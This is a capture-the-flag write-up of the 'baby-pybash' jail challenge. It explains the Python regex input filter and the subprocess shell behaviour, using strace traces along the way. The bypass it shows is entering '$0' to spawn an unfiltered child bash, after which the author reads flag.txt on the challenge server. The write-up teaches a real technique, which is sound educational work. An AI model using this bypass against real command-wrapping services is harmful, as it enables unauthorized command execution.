baby-pybash
This write-up is also publically available on CTFTime here.
The challenge source files can be found in full here. I highly suggest reading over these files first to get an idea of the environment before proceeding.
Summary
This challenge is a jail style challenge in which we are given a remote shell that screens input from the user. If it is an allowed command it is executed. We will seek a solution in which we can bypass the restrictions to print out a
flag.txt
file on the server, for which we would have no other way to access except through an exploit. Finding the contents of the flag shows that you have gained unauthorized access to the internals of the server.
Getting Started
We are given a local copy of the server side source code for baby-pybash, including a Dockerfile
to allow for easy building. This also means that we can see the exact code mechanisms in Python that are used to filter input before executing it.
def restrict_input(command):
pattern = re.compile(r'[a-zA-Z*^\,,;\\!@/#?%`"\'&()-+]|[^\x00-\x7F]')
if pattern.search(command):
raise ValueError("that's not nice!")
return command
We can see that the Python re
regular expression package with pattern [a-zA-Z*^\,,;\\!@/#?%`"\'&()-+]|[^\x00-\x7F]
is what will raise a ValueError
and redirect the flow of control away our input ever getting passed to the shell. In plain english, this code snippet means that only the following characters are allowed. Otherwise our command will not be executed/accepted by the server.
$
-
.
0
1
2
3
4
5
6
7
8
9
:
<
=
>
[
]
_
{
|
}
~
If we can get past the filter, the input is handed off to the shell using subprocess.run()
.
def execute_command(command):
safe = restrict_input(command)
result = subprocess.run(safe, stdout=True, shell=True)
return result.stdout
Refresher on Process Management
The basics of OS process management can lead us to guess this function will under the hood duplicate itself via fork()
and in the new process exeve()
the command we want. This is how all shells inclulding bash work under the hood. Let’s write a simple python program with just the subprocess.run()
call on a command say….ls
to illustrate this.
import subprocess
subprocess.run("ls", stdout=True, shell=True)
We can then use another tool called strace
which will print out system calls made (and their parameters). The specific flags to strace seen below dictate that we want to follow forks (-f
) and that instead of printing out all the system calls (there are alot of them), that we just want to look at the important ones for this demonstration (fork()
, execve()
, and exit()
).
ccrollin@thinkpad-p43s:~/.../baby-pybash$ strace -f -e trace=fork,execve,exit python3 execsyscall.py execve("/usr/bin/python3", ["python3", "execsyscall.py"], 0x7ffd11560f70 /* 64 vars */) = 0 <======== REPLACE CURRENT PROCESS WITH python3 executable strace: Process 440529 attached <====== a result of fork() [pid 440529] execve("/bin/bash", ["/bin/bash", "-c", "ls"], 0x7ffca1f7f460 /* 64 vars */) = 0 <======== REPLACE CURRENT PROCESS WITH bash executable strace: Process 440530 attached <====== a result of fork() [pid 440530] execve("/usr/bin/ls", ["ls"], 0x5b5ee89560d8 /* 64 vars */) = 0 <======== REPLACE CURRENT PROCESS with ls challenge execsyscall.py README.md trace-subprocess-run.txt <============= OUTPUT RESULTS FROM RUNNING ls [pid 440530] +++ exited with 0 +++ [pid 440529] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=440530, si_uid=1000, si_status=0, si_utime=0, si_stime=0} --- [pid 440529] +++ exited with 0 +++ --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=440529, si_uid=1000, si_status=0, si_utime=0, si_stime=0} --- +++ exited with 0 +++ ccrollin@thinkpad-p43s:~/.../baby-pybash$
Let’s look a little further at those parameters to execve()
. We can use section 2 of the Linux Programmer’s Manual (man
) to see the documentation for this system call.
man 2 execve
execve - execute program
int execve(const char *pathname, char *const argv[], char *const envp[]);
Now lets compare that signature with what strace
gave us.
[pid 440529] execve("/bin/bash", ["/bin/bash", "-c", "ls"], 0x7ffca1f7f460 /* 64 vars */) = 0
This leads us to the following:
char *pathname = "/bin/bash"
(path to executable)
char *const argv[] = ["/bin/bash", "-c", "ls"]
(argument vector passed to the executable)
char *const envp[] = 0x7ffca1f7f460
(environment variable vector, abbreviated as a memory address of the ptr to buffer since there are 64 variables in the buffer)
Looking Closer at argv
The argv
is what want to look closer at. Most programming languages including Python, C, Java, and many more rely on the arguments vector to specify how the program runs. Let’s also remember that while we often think of bash
as a terminal environment, those same terminal commands can be placed inside a script file. How would a bash script access those arguments?
With special variables of course! This is where experiance scripting comes in handy. When I looked at the different allowed characters from earlier I knew that $0
, $1
, $2
, etc. would be allowed. Let’s see what $0
is by calling echo $0
.
import subprocess
subprocess.run("echo $0", stdout=True, shell=True)
ccrollin@thinkpad-p43s:~/.../baby-pybash$ python3 checkdollarzero.py
/bin/bash
ccrollin@thinkpad-p43s:~/.../baby-pybash$
This makes sense from what we saw earlier in strace
. In our argv
, the first element at index 0
, referred to by bash as $0
, is /bin/bash
.
An Experiment of Sorts
What happens when you are in a shell, and then call bash
? Just as we saw earlier, the shell creates a duplicate of itself, exces the new process, and then returns when the new process finishes by calling exit()
. This bolded section will become important later!. Here I try to illustrate this with the parent process, the fish
shell calling a child process bash
.
Welcome to fish, the friendly interactive shell
Type help for instructions on how to use fish
ccrollin@thinkpad-p43s ~> echo "I am in another shell called fish for demonstration purposes"
I am in another shell called fish for demonstration purposes
ccrollin@thinkpad-p43s ~>
ccrollin@thinkpad-p43s ~> /bin/bash
ccrollin@thinkpad-p43s:~$
ccrollin@thinkpad-p43s:~$ echo $0
/bin/bash
ccrollin@thinkpad-p43s:~$ exit
exit
ccrollin@thinkpad-p43s ~> echo "I am back in fish"
I am back in fish
ccrollin@thinkpad-p43s ~>
See how we got into a new child bash
shell, we just provided the path to the executable….and remember our $0
variable equals /bin/bash
…..and the character $
and 0
are in the allowed characters list from above….
You thinking what I am thinking?
Yahtzee!
ccrollin@thinkpad-p43s ~/D/c/2/c/b/challenge> nc baby-pybash.challs.csc.tf 1337
== proof-of-work: disabled ==
Welcome to Baby PyBash!
Enter a bash command: $0
ls
chall.py
flag.txt
run.sh
cat flag.txt
CSCTF{b4sH_w1z4rd_0r_ju$t_ch33s3_m4st3r?_c1d4eeb2a}
We are now able to run previously “restricted” commands and print the flag out. When we give the first bash shell $0
, we get another child process also of bash
. On face value this seems odd and useless, but there is much more to note.
The Why
Why does the technique shown above allow us to input any commands/characters?
This is because the child bash
process never calls the exit()
system call. According to the program logic as it is given, the Python parent process only reads from standard input before an executed command to the parent bash
process terminates (calls exit()
).
Since the first command we give to subprocess.run()
(remember under the hood is bash
) is /bin/bash
(by proxy of $0
) and not something like ls
that prints and immediately terminates, the parent Python process is perpetually in the waiting/blocking state.
print("Welcome to Baby PyBash!\n")
cmd = input("Enter a bash command: ") # READ INPUT FOR SCREENING AGAINST PROHIBITED CHARACTERS
output = execute_command(cmd) # calls subprocess.run(), see earlier snippet of execute_command() above
# this is where our main python process will wait indefinitely
# meaning this line below is never reached
print(output)
See the strace
output for when the exploit is run to provide further clarification.
463843 execve("/usr/bin/python3", ["python3", "-u", "chall.py"], 0x7fff85204440 /* 53 vars */) = 0 <====== RUNNNG Python parent process
463907 execve("/bin/bash", ["/bin/bash", "-c", "$0"], 0x7fffba6848d8 /* 53 vars */) = 0 <====== Python parent process waits, user inputs /bin/bash to bash
463908 execve("/bin/bash", ["/bin/bash"], 0x63d4f08b3e98 /* 53 vars */) = 0 <========== This is the child bash process to the parent bash process above
463938 execve("/usr/bin/ls", ["ls"], 0x6457241080d8 /* 53 vars */) = 0 <======== This child bash process will continue accepting input while Python parent still waiting
463938 +++ exited with 0 +++
463978 execve("/usr/bin/cat", ["cat", "flag.txt"], 0x645724108468 /* 53 vars */) = 0
463978 +++ exited with 0 +++
****** NOTICE bash NEVER calls exit() *******
The ps
tool (a terminal version of say Windows Task Manager) and pstree
can give us a nice visual process tree too.
ccrollin@thinkpad-p43s ~/D/c/2/cyberspace> ps -a
PID TTY TIME CMD
2734 tty2 00:00:00 fish
2743 tty2 00:00:00 gnome-session-b
472460 pts/3 00:00:00 python3
472515 pts/3 00:00:00 bash
472516 pts/3 00:00:00 bash
473474 pts/4 00:00:00 ps
ccrollin@thinkpad-p43s ~/D/c/2/cyberspace> pstree -p 472460 # start process tree at root python process with process ID (PID) 472460
python3(472460)───bash(472515)───bash(472516)
ccrollin@thinkpad-p43s ~/D/c/2/cyberspace>